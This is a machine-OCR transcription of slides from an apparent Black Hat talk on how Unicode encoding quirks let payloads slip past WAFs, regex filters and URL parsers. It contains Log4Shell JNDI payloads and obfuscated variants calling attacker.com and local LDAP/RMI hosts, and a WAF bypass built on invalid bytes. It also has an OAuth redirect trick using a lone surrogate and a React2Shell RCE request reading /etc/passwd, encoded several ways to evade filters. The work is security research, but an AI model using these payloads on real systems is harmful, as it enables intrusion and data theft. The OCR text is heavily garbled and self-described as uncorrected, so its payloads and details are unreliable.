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# Beyond Normalization: The Expanding Unicode Attack Surface

**Beyond Normalization: The Expanding Unicode Attack Surface** - Ryan Barnett, Isabella Barnett, Black Hat USA.

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## Content

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# Beyond Normalization: The Expanding Unicode Attack Surface

Ryan Barnett and Isabella Barnett — Black Hat USA 2026

> Archive recovery note: The accompanying original PDF is authoritative. The following text is provisional machine OCR of every page, in order. It has not been corrected against all page images and contains glyph, code and layout recognition errors. Do not rely on this transcription to reproduce exact Unicode characters or payloads.

## Page 1
Beyond

Normalization

The Expanding Unicode

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December 9. 2021

10-55 pm EST

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@ee@00 Sprint LTE

10:55 PM

75% “>

Akamai THR VP

Hi Ryan, sorry to trouble

you at this time, There is

a major SI being

reported due toa

vulnerability in log4j.

Asking for a WAF expert

to help. Will forward the

most recent email.

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## Page 4
“The internet's on

fire right now...”

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@.@

woodpecker-framwork v1.3.3

Plugin

InfoDetector

POC

Exploit

Payload generator

Helper

Options

Alert

CVE-2021-44228 - 1

jndi inject

Args

jndi_address=\dap: //127.0.0.1:1664/${sys: java. runtime. version}

Result

[>] jndi inject model start...

[+] Raw payload:

${jndi: ldap: //127.0.0.1:1664/${sys: java. runtime. version}}

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## Page 6
REGULAR EXPRESSION

gmi

\S{(\S (02: 2 : ?:

DR (21) }*| Lindi: (Ldap| rm) ]¢' |") DR} *) {9,10}

TEST STRING

${jndi:ldap://attacker.com/a}

${j${upper:${lower:n}}di: ldap: //attacker.com/a}

${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:ldap://attacker.com/a}

${${env: BARFOO: -j }Ndi${env: BARFOO: -: }${env:BARFOO: -

1L}dap${env: BARFOO:-:}//attacker.com/a}

S{S{:2=j}S{: =n} Sf: :—d}${::-i}:S{::—r}S{::—m}Sfmeeite//127.0.0.1:1389/ass}

${${::-j}ndi:rmi://127.0.0.1:1389/ass}

${jndi:rmi://a.b.c}

${${lower:jndi}:${lower:rmi}://q.w.e/poc}

${${lower:${lower: jndi}}:${lower:rmi}://a.s.d/poc}

SSCs s-JES{i tom} ${i-d} Sti s-a}sSfs sor} S{ss-m}S{ss- i} //

${${::-j}ndi:rmi://}

${${lower: jndi}:${lower: rmi}://}

${${lLower:${lower: jndi}}:${lower:rmi}://

${${lower : j}${upper :n}${lower :d}${upper:i}:${lower:r}m${lower: i}:}

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Truncation

Confusables

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WEE

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Enumeration and

Classification

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a\V/z

CWE-1°72: Encoding

Error

or. =e

CAPEC-43: Exploiting

Multiple Input

Interpretation Layers

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Character Encoding Timeline

ASCII (1963)

A

ae

01000001

single byte

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pinches

## Page 18
Character Encoding Timeline

ASCII (1963)

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vf

Extended ASCII (1981)

11111111

single byte

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## Page 19
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Previous AWS WAF byp

${jnd$123%25FF:-$H{

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## Page 20
Burp Decoder

© Text

Hex

()

Decoder

Decode as ...

=

Plain

${jnd${123

TES

ff:-i:}}

${jnd${123

:-${123

:-i:}}Idap:

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Character Encoding Timeline

a

ASCII (1963)

vf

Tas

Extended ASCII (1981)

11900011

10911111

leading byte

on byte

ne

Unicode (1991)

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Character Encoding Timeline

ASCII (1963)

INVALID

Extended ASCII (1981)

abs tal tskabe a

invalid byte

Unicode (1991)

UNEXPECTED

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## Page 23
Character Encoding Timeline

ASCII (1963)

4

INVALID

Extended ASCII (1981)

abs tal tskabe a

invalid byte

Unicode (1991)

UNEXPECTED

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## Page 24
Unicode Replacement Character

SPECIALS

U+FFFD

4

Replacement

Character

SPECIALS

Source: Font Last Resort

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## Page 25
Burp Hackvertor Extension

Hackvertor

|

x

<onditions Convert Custom Date Decode Decrypt

Encode > v

d_saml

d_url

d_utf7

WV

d_unicode_escapes

json_parse

Input:

Output: fy

<@d_url><@d_url>${ind${123%25tf:- | ${ind${124@}-$(1 24@}-i:}}\dap://mydog

${123%25ff:-i:}}Idap://mydogsbutt.co |sbutt.com:1389/o}

m:1389/0}</@d_url></@d_url>

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ME

CWE-185: Incorr

Regular Expres

URL Encoding/Decoding

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regex101.com/?testString=${jnd${123 %ff:-${123 “ff:

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Regular Expression

1

Time - 1.7 ms

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Test String

${jnd${123@: -$4123@: -i:}t¢1dap: //mydogsbutt.com:1389/o0}

The regex matched the

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Language RegEx101 Support Comments

JavaScript Full

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Recent versions of PHP use PCRE2.

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Ruby

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lookbehinds

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Golang

Full

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regex.match(test_string

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RE2 Regex Configuration Options

UTF-S vs. Latint

Strings vs. Bytes

Error Handling

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RE2 Regex Pipeline Flow

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unquote_to_bytes()

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utf-8 mode

regex data type?

mode?

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decode("UTF-8")

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error handling mode?

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regex data type?

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## Page 38
No

Sura’

b'${jnd${123\xff :-${123\xff:-i:}}ldap://attacker. com: 1389/o}'

Traceback (most recent call last):

File "/home/vscodeuser/re2-utf8-strings.py", line 15, in <module>

test_string = raw_bytes.decode("UTF-8", errors="strict")

INN

UnicodeDecodeError: ‘utf-8' codec can't decode byte @xff in position 10: invalid start byte

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INVALID

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## Page 42
${jnd$123%25ff:-$(123%25fF:-i:}}|dap://mydogsbutt.com:1389/o}

Regular Expression

s

.

\$\{.*\}

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options

re2.Options()

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mode?

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re2.match (bytes/string)

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WAF

OAuth Open

Redirect Abuse

Lt Told

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## Page 47
eV" a

CWE-1'76: Improper Handling

of Unicode Encoding

or. =e

CAPEC-43: Exploiting

Multiple Input

Interpretation Layers

1. h

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## Page 48
URI Format

host

>I

https: //john.doe@www.example.com:1234

/forum/questions/?tag=networking&order=newest#top

L

J

|

query

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## Page 49
12)

qh TRA AY

Had some recent success using untranslatable

Unicode in place of a"?" when attacking URL

parsers for SSRF/OAuth issues.

{"redirectUri":"https: //attacker\udfff@[victim]/"}

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## Page 50
Low Surrogates

LOW

SURROGATES

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## Page 51
Unicode Surrogate Pairs

LOW

HIGH

SURROGATES

SURROGATES

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## Page 52
Surrogate Pair Example

UTF-16

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## Page 53
Lone Low Surrogate?

LOW

U+FFFD

Replacement

Character

SURROGATES

Te) T e-em eile

ae

## Page 54
Internal Network

Coy Tia

WTR Tag

DMZ

co

AW relad

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Tut

Invalid Character Replacement

Lice) sel a8

Wel CeM Our lelel uml eel a

———

{-{"redirectUri":"https://attacker?@[victim]/"}"} one

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## Page 55
URI Syntax / Format

host

—— 4]

https: //john.doe@www.example.com:1234

/forum/questions/ ?tag=networkingé&order=newest#top

l

|

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query

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## Page 56
Redirection to Malicious Domain

HTTP/1.1 302 Found

Date: Wed, 15 Jul 2026 15:04:34 GMT

Content-Type: text/html; charset=UTF-8

Location: https://attacker. com?

Content-Length: 6441

Connection:

close

X-Frame-Options: SAMEORIGIN

Referrer—Policy: same-origin

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WT RT a tg

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Invalid Character Replacement

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## Page 58
on

work

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Penna

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## Page 59
c=}

Application Server

URL Encoding/Decoding

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## Page 60
eV" a

CWE-1'76: Improper Handling

of Unicode Encoding

or. =e

CAPEC-71: Using Unicode

Encoding to Bypass

Validation Logic

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## Page 61
December 3. 2025

React2Shell Security Bulletin

CVE-2025-55182 is a critical vulnerability in React, Next.js,

and other frameworks that requires immediate action

6 Security Team

URL

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page

6 min

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## Page 62
Example RCE Attack

Request

=

Raw

Hex

in

=

POST /formaction HTTP/1.1

Host:

127.0.0.1:3002

Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkT rZu0gW

Content-Length: 396

ener

WebKitFormBoundary7MA4YWxkT rZuQgW

Content-—Disposition:

form-data;

name="$ACTION_REF_0"

soe

WebKitFormBoundary7MA4YWxkT rZu@gW

Content-Disposition:

form-data;

nam

“$SACTION_@:0"

15

—WebKitFormBoundary7MA4YWxkT rZu@gW-—

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## Page 63
Te Ev

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ry

We paid $1 million to hackers to harden our firewall defenses.

Today we're telling the story of how we strengthened our WAF, disclosing

a runtime mitigation layer for the first time, and how we partnered with

to defend against React2Shell.

rN

The $1M hacker

challenge

for React2Shell

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## Page 64
Unicode Escape (\UHHHH) Format

Request

Raw

Hex

\n

=

=,

POST /formaction HTTP/1.1

Host:

127.0.0.1:3002

Content-Type: multipart/form-data;

boundary=——--WebKit FormBoundary7MA4YWxkTrZu@gW

Content-Length: 396

peeserey

WebKitFormBoundary7MA4YWxkTrZu0gW

Content-Disposition:

form-data;

name="$ACTION_REF_0"

cessed

WebKitFormBoundary7MA4YWxkT rZu0gW

Content-Disposition:

form-data

name=""$ACTLON,

Q"

"

13

"id": "fs#readFileSync", "bound": ["/etc/pas

1}

15

sae]

WebKit FormBoundary 7MA4YWxkT rZu@gW——

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## Page 65
Unicode Escape (\UHHHH) Format

LB)ITere\V(-1g

Hackvertor

us

i)

<ions

Convert Custom

Date

1BI-Teroyo(-)

Decrypt

Encode

Encrypt

Fake

LC jlo} ofl)

HM... > v

scapes

d_quoted_printable

d_saml

d_unicode_escapes

d_url

Com

json_parse

WV

Input:

lol (ele a

<@d_unicode_escapes>{"i

AMorersra eee \ Morel {"id":"fs#readFileSync}","bound":["/etc/passwd}"]}

{oTel=tejCUToLe] au NVWTele oz NNTTOley-CaNNUTOlULsteNUUTOeLsrenUU 001 <ts)UTOLelSIe 01010742)

u006e\u0063}", "bound":["/etc/\u0070\u0061\u0073\u0073\u |

0077\u0064}"]}</@d_unicode_escapes>

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## Page 66
ECMAScript 6 (ESG) Unicode

codepoint escape

pero lg

fare -la og

1

a

beater)

Compression

Conditions

rela la4

bert Coa)

BEN)

Decode

Decrypt

Encode >

ty

CMe Telcom Denice)

feet La)

MT oreo Morte}

Ct

Cid

ame)

WV

Layee

Output:

<@d_unicode_escapes>{"id":"}\u{66}\u{73}\u{23}\u{72}\u{65}\u{61

{"id":"}\u{66}\u{73}\u{23)\u{72}\u{65)\u{6 1}\u{64)\u{46}\u(69}\u{6c)\

)\U(64}\u(46}\u{69}\u{6c}\u(65}\u{53)\u{79)\u{6e})\u{63}","bound”:[ | u{65}\u{53}\u(79)\u{6e}\u{63}","bound":["/etc/\u{70)\u{61})\u{73}\u{7

“/etc/Au{70}\u{61}\u{73}\u{73}\u{77}\u{64} *}}

ENA ra

</@d_unicode_escapes>

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## Page 67
ECMAScript 6 (ESG) Unicode escape

is

¢c

PMC lesa meemth

*

i

i

a ed

PET Uney- ry

eure aa

orl aa

url

Cad

IPv

Ly

Array v

Perey) eto a

Salih aa

SQLi v

String v

Lor

alr)

oa

xXSS v

185)

49

{"id":"}fs#readFileSync","bound":

{"id":"}\u{66}\u{73}\u{23}\u{72}\u{65}\u{61}\u

["/etc/passwd"] }

{64}\u{46}\u{69}\u{6c}\u{65}\u{53}\u{79}\u{6e}

\u{63}", "bound":

["/etc/\u{70}\u{61}\u{73}\u{73}\u{77}\u{64}"] }

bets

Clear tags

Copy as HTML

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brag

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## Page 68
Microsoft

uHHHH Variant

{"id" :"%u0066%U0073%U8023%U0072%u0065%U0061%U0064%uU0

1K} To

NTU Toh AU loko dU lobo AU bo oe AU MASA ULoloeq0L 4] ]0)op aumemn oL0)0

ie ar MANO UWA TULL MEU WAC UL WAC dU Wake sUL) Loy oa

C

Link

a) nd

© Decoded

{"id":"fs#readFileSync}","boun (&)

Unicode Escape

d": ["/etc/passwd}"] }

Copy

oe

Link

elfen al

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## Page 69
Cc. C++, GO \

OOxXX Variant

{"id'":"\U@066\U0073\U0023\U0072\U0065\U0061\U0064\Ua

Load

046\U0069\U006c\U0065\U0053\U0079\U006e\U0063}", "bou

Ca

nd": ["/etc/\UQ070\U0061\U0073\U0073\U0077\U0064}" | }

Link

LF (\n) ~

™ Decoded

{"id":"fs#readFileSync}","boun (&

oN

Unicode Escape

d": ["/etc/passwd}"] }

o

Link

elfen el

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## Page 70
Unicode

Named Variant

{"id":"\N{LATIN SMALL LETTER F}\N{LATIN SMALL LETTER

S}\N{NUMBER SIGN}\N{LATIN SMALL LETTER R}\N{LATIN

Load ¥

e

Sule aa SACHS SMALL LETTER UNAS

a

rans

ee

——

Link

LF (\n)

~) Decoded

{"id":"fs#readFileSync","bound (

":["/etc/passwd"] }

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Unicode Escape

?

Link

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## Page 71
Application Server

Data Normalization

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GENERAL

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SPACE (U+2004), FOUR-PER-EM SPACE (U+2005), SIX-PER-EM SPACE (U+2006), FIGURE

SPACE (U+2007), PUNCTUATION SPACE (U+2008), THIN SPACE (U+2009), HAIR SPACE

(U+200A), NARROW NO-BREAK SPACE (U+202F), MEDIUM MATHEMATICAL SPACE

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Character Weight Checks

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Character Weight Checks

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Zero Width Space Weight Check

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String Weight Comparison

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String Weight Comparison

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OxFEQO: w>=0xE0100&&w<=0xEO1EF ?w—

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Invisible Unicode Data

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OxFEQO: w>=0xE0100&&w<=0xEO1EF ?w—

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Unicode Pliane 14

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Encoding Reveals Invisible Data

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Cyberchef - Decryption

Recipe

on |

Input

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Hidden Character Vscode Extensions

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Key Takeaways

Decoding Capabilities

Regex Configurations

Whitespace Handling

Database Collations

Invisible Character Processing

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Tooling Updates

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